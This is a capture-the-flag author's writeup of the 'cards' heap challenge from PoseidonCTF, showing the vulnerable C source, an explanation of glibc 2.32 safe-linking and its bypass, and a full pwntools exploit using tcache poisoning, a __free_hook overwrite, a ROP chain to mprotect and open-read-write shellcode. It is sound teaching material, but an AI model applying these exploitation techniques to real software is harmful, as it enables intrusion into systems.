Cards

Posiedon ctf cards writeup, We organized posiedonctf this weekend and i wrote one pwn challenge.

Challenge name - cards

Solves - 9.
                    Cards
points-977
                    [heap]
I want to play cards :( . DO you ?
nc poseidonchalls.westeurope.cloudapp.azure.com 9004
Author : hk
"Glibc version : 2.32"

NOTE[] - The binary had seccomp. Here is the seccomp rules dump generated by seccomp-tools.

The program uses two structures.

typedef struct cardinfo{
	long int size_name_card;
	long int ncards;
	char *name_of_card;
}CARD_INFO;
typedef struct card{
	long int cardnumber;
	char color[0x8];
	CARD_INFO *card;
	long int iscard;
}CARD;

This is just a typical heap challenge with capabilities, to these operations

1. Add
2. Delete
3. Edit
4. View

UAF

When we delete a card, The iscard member is not initialized and edit function checks for iscard, which pass the check. SO we can edit freed chunk and play around with FD and BK pointers.

Here is the original source code of edit function.

Edit

void edit_name()
{
	unsigned int idx;
	printf("Enter the index of the card: ");
	idx = return_number();
	if(idx>total_cards||!mycard[idx]->iscard) {
		puts("Nope");
		return;
	}
	printf("Enter new name: ");
	read(0,mycard[idx]->card->name_of_card,sizes[idx]);
	puts("Edited");	
}

We can not allocate more than 0x100 size.

Add

Here is the source of Add function The program uses a global variable to total_cards to keep count of cards to allocate. And limit is total 9 cards. There is info leak, when it read the name, it doesn't sets the last byte to ‘\x00' which can be used to leak the pointers.

void add()
{
	unsigned int size;
	if(total_cards>0x8) {
		exit_error("No");
	}
	mycard[total_cards] = (CARD*)malloc(0x28);
	mycard[total_cards]->cardnumber=total_cards;
	printf("Enter size of the name of the card: ");
	size=return_number();
	if(size>0x100){
		exit_error("I'm not sure but you are not allowed to do that");
	}
	mycard[total_cards]->card = (CARD_INFO *)malloc(0x28);
	mycard[total_cards]->card->size_name_card = size;
	mycard[total_cards]->iscard = TRUE;
	mycard[total_cards]->card->name_of_card = malloc(size);
	mycard[total_cards]->card->ncards = total_cards;
	printf("Enter card color: ");
	read(0,mycard[total_cards]->color,0x7);	
	printf("Enter name: ");
	read(0,mycard[total_cards]->card->name_of_card,size);
	printf("Done.\n");
	sizes[total_cards]=size;
	total_cards++;
}

delete

The delete function takes index of the card and free the card. It doesn't initialize the chunk after freeing it leading to information leak.

void delete()
{
	unsigned int idx;
	printf("Enter index of the card: ");
	idx = return_number();
	if(idx>total_cards||checks[idx]){
		puts("No");
		return;
	}
	free(mycard[idx]);
	free(mycard[idx]->card);
	free(mycard[idx]->card->name_of_card);
	checks[idx]=1;
	printf("Done.\n");
}

And the view function takes and idx and prints the chunk info.

However we can't directly overwrite the FD pointer of a freed chunk because tcache in glibc 2.32, introduces safe-linking.

It's just xoring the pointers with help of aslr. here's the article: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

However this can be bypassed with leaking heap address.

It also introduces alignment checks.

here's the new tcache_put source

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache-get

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

And some new definations.

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

This can be easily bypassed after getting the heap leak.

So my solution includes.

  1. Leak heap
  2. overwrite fd pointer with tcache-per-thread struct. #UAF-HERE
  3. Keep an 0x100 sized chunk.
  4. get allocation to tcache-per-thread struct.
  5. After getting to tcache-per-thread. Change the tcache[idx] of 0x100 size to 7.
  6. Free 0x100 sized chunk. -> The chunk goes into unsortedbin.
  7. Use edit function to change tcache[idx] of 0x100 to 0. So it doesn't go look into tcache.
  8. Allocate back and get libc leaks. since the pointers are not initialized after freeing the chunk.
  9. Then add __free_hook to tcache-per-thread struct using edit function.
  10. There is a other option which is not shown in menu. Secret-name which reads 0x40 bytes of userdata on to the stack.
  11. So We send our rop-chain there to execute mprotect call on heap. By changing free hook to add_rsp + 0xd8; ret ; ROPgadget.
  12. Then execute our shellcode on heap and open-read-write flag.

exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF("./cards")

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a,env={"LD_PRELOAD":"./libc-2.32.so"}, **kw)

gdbscript = '''
continue
'''.format(**locals())
#io = start()
io = remote("poseidonchalls.westeurope.cloudapp.azure.com",9004)
#######utils
def add(size,name):
	io.sendlineafter("Choice: ","1")
	io.sendafter("card: ",str(size))
	io.sendafter("color: ","HKHKHKH");	
	io.sendafter("name: ",name)

def view(idx):
	io.sendlineafter("Choice: ","4")
	io.sendafter("card: ",str(idx))

def remove(idx):
	io.sendlineafter("Choice: ","2")
	io.sendafter("card: ",str(idx))

def edit(idx,name):
	io.sendlineafter("Choice: ","3")
	io.sendafter("card: ",str(idx))
	io.sendafter("name: ",name)

def sendrop(rop):
	io.sendlineafter("Choice: ","6")
	io.sendafter("name: ",rop)

def mask(heapbase,target):
	return (heapbase >> 0xc) ^ target
#------------------------------------------------------
#UAF
#Glibc version 2.32 added a new check |chunk should be aligned| and free pointers gets masked.
#To bypass, this requires heap leak.
#Fast bin attack is now dead because of the alignment check.
##define PROTECT_PTR(pos, ptr) \
#  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
#------------------------------------------------------

####Addr
main_arena = 0x3b6ba0
free_hook = 0x3b8e80
mprotect = 0xf0830

####gadgets
add_rsp = 0x00077f66
pop_rdi = 0x001273dc
pop_rsi = 0x00126117
pop_rdx = 0x000c45ed

####exploit
add(0x28,"B"*0x28) #0
remove(0)
add(0x28,"A"*14+"BB") #1
view(1)
io.recvuntil("BB")
heap_base = u64(io.recvn(6)+b"\x00\x00")-0x2d0
print("Heap base: "+hex(heap_base))
add(0xd8,"HKHK")#2
add(0xd8,"HKHK")#3
remove(2)
remove(3)
target_ptr = mask(heap_base,heap_base+0x10)
edit(3,p64(target_ptr)) #uaf
add(0xd8,"/home/challenge/flag\x00")#4
add(0xf8,"HKHK")#5
add(0xd8,p64(0x0002000000000400)+p64(0x0)+p64(0x0)+p64(0x0000000700000000))#6 #set tcache-count of chunk 0x101 size to 7
remove(5) #remove chunk and get unsortedbin
edit(6,p64(0x00020000000000400)+p64(0x0)*3) #set tcache-count to back to 0
add(0x88,"AAAAAABB")#7 #leak libc now
view(7)
io.recvuntil("BB")
libc_base = u64(io.recvn(6)+b"\x00\x00")-0x3b6c90
print("Libc: "+hex(libc_base))
edit(6,p64(0x00120000000000401)+p64(0x0)*15+p64(libc_base+free_hook))
add(0x18,p64(libc_base+add_rsp))#8
shellcode = asm(f"""
		xor rax, rax
		mov al, 0x2
		xor rsi, rsi
		xor rdx, rdx
		mov rdi, {heap_base+0x4d0}
		syscall
		mov r10, rax
		xor rax, rax
		mov rdi, r10
		mov rsi, {heap_base+0x100}
		mov rdx, 0x50
		syscall
		mov rax, 0x1
		mov rdi, rax
		syscall
		mov rax, 0x3c
		mov rdi, 0x1337
		syscall
	""")
edit(7,shellcode)
mprotect_rop =  p64(libc_base+pop_rdi)+\
		p64(heap_base)+\
		p64(libc_base+pop_rsi)+\
		p64(0x1000)+\
		p64(libc_base+pop_rdx)+\
		p64(0x7)+\
		p64(libc_base+mprotect)+\
		p64(heap_base+0x610)
sendrop(mprotect_rop)
remove(4)
io.interactive()

Link to the source-code and exploit: (cards)[https://github.com/hkraw/posiedonctf-cards]